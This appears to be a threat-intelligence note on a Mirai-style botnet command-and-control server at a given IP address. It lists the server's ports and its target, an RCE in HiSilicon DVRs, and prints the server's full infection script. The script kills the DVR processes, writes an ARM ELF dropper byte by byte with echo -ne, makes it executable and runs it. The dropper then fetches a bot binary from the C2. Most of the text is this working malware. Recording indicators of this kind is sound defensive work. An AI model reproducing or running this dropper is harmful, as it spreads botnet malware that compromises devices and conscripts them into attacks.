Botnet C2 199.195.253.85

Botnet C2 199.195.253.85

C2 ports:
2323/tcp (user panel)
10444/tcp (command logs)
64334/tcp (see below)

Targeting:
HiSilicon DVR RCE (https://github.com/tothi/pwn-hisilicon-dvr)

Port 64334/tcp response:
killall -9 /var/Sofia
killall -9 dvrHelper
cd /dev
echo -ne "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\xac\x83\x00\x00\x34\x00\x00\x00\xc0\x04\x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x07\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x68\x04\x00\x00\x68\x04\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x68\x04\x00\x00\x68\x04\x01\x00\x68\x04\x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x07\x00\x00\x00\x68\x04\x00\x00\x68\x04\x01\x00" > .bot
echo -ne "\x68\x04\x01\x00\x00\x00\x00\x00\x08\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x38\x83\xe1\x00\x3c\x83\xe1\x02\x34\x83\xe1\x03\x0c\xa0\xe1\x02\x08\x80\xe1\xff\x28\x03\xe2\x22\x04\x80\xe1\x23\x0c\x80\xe1\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x01\x00\xa0\xe3\xad\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4" >> .bot
echo -ne "\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x06\x00\xa0\xe3\xa5\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x05\x00\xa0\xe3\x9a\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x0c\x00\x9f\xe5\x8f\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x1b\x01\x00\x00" >> .bot
echo -ne "\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x04\x00\xa0\xe3\x83\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x03\x00\xa0\xe3\x78\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x04\xe0\x2d\xe5\x01\xc0\xa0\xe1\x02\x30\xa0\xe1\x00\x10\xa0\xe1\x04\xd0\x4d\xe2\x0c\x20\xa0\xe1\x0c\x00\x9f\xe5\x6d\x00\x00\xeb\x04\xd0\x8d\xe2\x04\xe0\x9d\xe4" >> .bot
echo -ne "\x1e\xff\x2f\xe1\x19\x01\x00\x00\xf0\x41\x2d\xe9\x74\x31\x9f\xe5\x98\xd0\x4d\xe2\x00\x80\xa0\xe3\x00\x00\x00\xea\x01\x80\x88\xe2\x01\x60\x53\xe5\x00\x00\x56\xe3\x01\x30\x83\xe2\xfa\xff\xff\x1a\x54\x11\x9f\xe5\x06\x20\xa0\xe3\x01\x00\xa0\xe3\xcf\xff\xff\xeb\x02\xc0\xa0\xe3\xdb\x30\xa0\xe3\xf4\x10\xa0\xe3\x19\x20\xa0\xe3\xb4\xc8\xcd\xe1\xb9\x00\xa0\xe3\x05\xca\xa0\xe3\xb6\xc8\xcd\xe1\x96\xff\xff\xeb\x24\x11\x9f\xe5\x88\x00\x8d\xe5\x20\x21\x9f\xe5\x20\x01\x9f\xe5\xaa\xff\xff\xeb\x01\x10\xa0\xe3\x00\x70\xa0\xe1" >> .bot
echo -ne "\x06\x20\xa0\xe1\x02\x00\xa0\xe3\xd2\xff\xff\xeb\x01\x00\x70\xe3\x01\x00\x77\x13\x00\x50\xa0\xe1\x01\x00\xa0\x03\x90\xff\xff\x0b\x05\x00\xa0\xe1\x84\x10\x8d\xe2\x10\x20\xa0\xe3\xa7\xff\xff\xeb\x00\x40\x50\xe2\x05\x00\x00\xaa\x01\x00\xa0\xe3\xd8\x10\x9f\xe5\x04\x20\xa0\xe3\xad\xff\xff\xeb\x00\x00\x64\xe2\x84\xff\xff\xeb\x17\x40\x88\xe2\x05\x00\xa0\xe1\xc0\x10\x9f\xe5\x04\x20\xa0\xe1\xa6\xff\xff\xeb\x04\x00\x50\xe1\x03\x00\xa0\x13\x7c\xff\xff\x1b\xac\x80\x9f\xe5\x06\x40\xa0\xe1\x97\x60\x8d\xe2\x06\x10\xa0\xe1" >> .bot
echo -ne "\x01\x20\xa0\xe3\x05\x00\xa0\xe1\xa7\xff\xff\xeb\x01\x00\x50\xe3\x04\x00\xa0\xe3\x72\xff\xff\x1b\x97\x30\xdd\xe5\x04\x44\x83\xe1\x08\x00\x54\xe1\xf4\xff\xff\x1a\x04\x40\x8d\xe2\x04\x10\xa0\xe1\x80\x20\xa0\xe3\x05\x00\xa0\xe1\x9b\xff\xff\xeb\x00\x20\x50\xe2\x04\x10\xa0\xe1\x07\x00\xa0\xe1\x01\x00\x00\xda\x8b\xff\xff\xeb\xf5\xff\xff\xea\x05\x00\xa0\xe1\x69\xff\xff\xeb\x07\x00\xa0\xe1\x67\xff\xff\xeb\x3c\x10\x9f\xe5\x04\x20\xa0\xe3\x01\x00\xa0\xe3\x82\xff\xff\xeb\x05\x00\xa0\xe3\x59\xff\xff\xeb\x98\xd0\x8d\xe2" >> .bot
echo -ne "\xf0\x41\xbd\xe8\x1e\xff\x2f\xe1\x21\x84\x00\x00\x28\x84\x00\x00\x41\x02\x00\x00\xff\x01\x00\x00\x30\x84\x00\x00\x38\x84\x00\x00\x40\x84\x00\x00\x0a\x0d\x0a\x0d\x60\x84\x00\x00\x95\xff\xff\xea\x0d\xc0\xa0\xe1\xf0\x00\x2d\xe9\x00\x70\xa0\xe1\x01\x00\xa0\xe1\x02\x10\xa0\xe1\x03\x20\xa0\xe1\x78\x00\x9c\xe8\x00\x00\x00\xef\xf0\x00\xbd\xe8\x01\x0a\x70\xe3\x0e\xf0\xa0\x31\xff\xff\xff\xea\x04\xe0\x2d\xe5\x1c\x20\x9f\xe5\x00\x30\xa0\xe1\x02\x20\x9f\xe7\x06\x00\x00\xeb\x00\x30\x63\xe2\x02\x30\x80\xe7\x00\x00\xe0\xe3" >> .bot
echo -ne "\x04\xe0\x9d\xe4\x1e\xff\x2f\xe1\x80\x80\x00\x00\x00\x00\x00\x00\x0f\x0a\xe0\xe3\x1f\xf0\x40\xe2\x00\x00\xa0\xe1\x00\x00\xa0\xe1\x61\x72\x6d\x76\x37\x6c\x00\x00\x4d\x49\x52\x41\x49\x0a\x00\x00\x64\x76\x72\x57\x65\x62\x00\x00\x4e\x49\x46\x0a\x00\x00\x00\x00\x47\x45\x54\x20\x2f\x62\x69\x6e\x73\x2f\x61\x72\x6d\x76\x37\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x46\x49\x4e\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x13\x00\x00\x00\x61\x65\x61" >> .bot
echo -ne "\x62\x69\x00\x01\x09\x00\x00\x00\x06\x02\x08\x01\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x74\x62\x73\x73\x00\x2e\x67\x6f\x74\x00\x2e\x41\x52\x4d\x2e\x61\x74\x74\x72\x69\x62\x75\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\xc0\x80\x00\x00\xc0\x00\x00\x00\x60\x03\x00\x00" >> .bot
echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\x20\x84\x00\x00\x20\x04\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x04\x00\x00\x68\x04\x01\x00\x68\x04\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x68\x04\x01\x00\x68\x04\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" >> .bot
chmod 777 .bot
./.bot
./dvrWeb
/var/Sofia 2>/dev/null &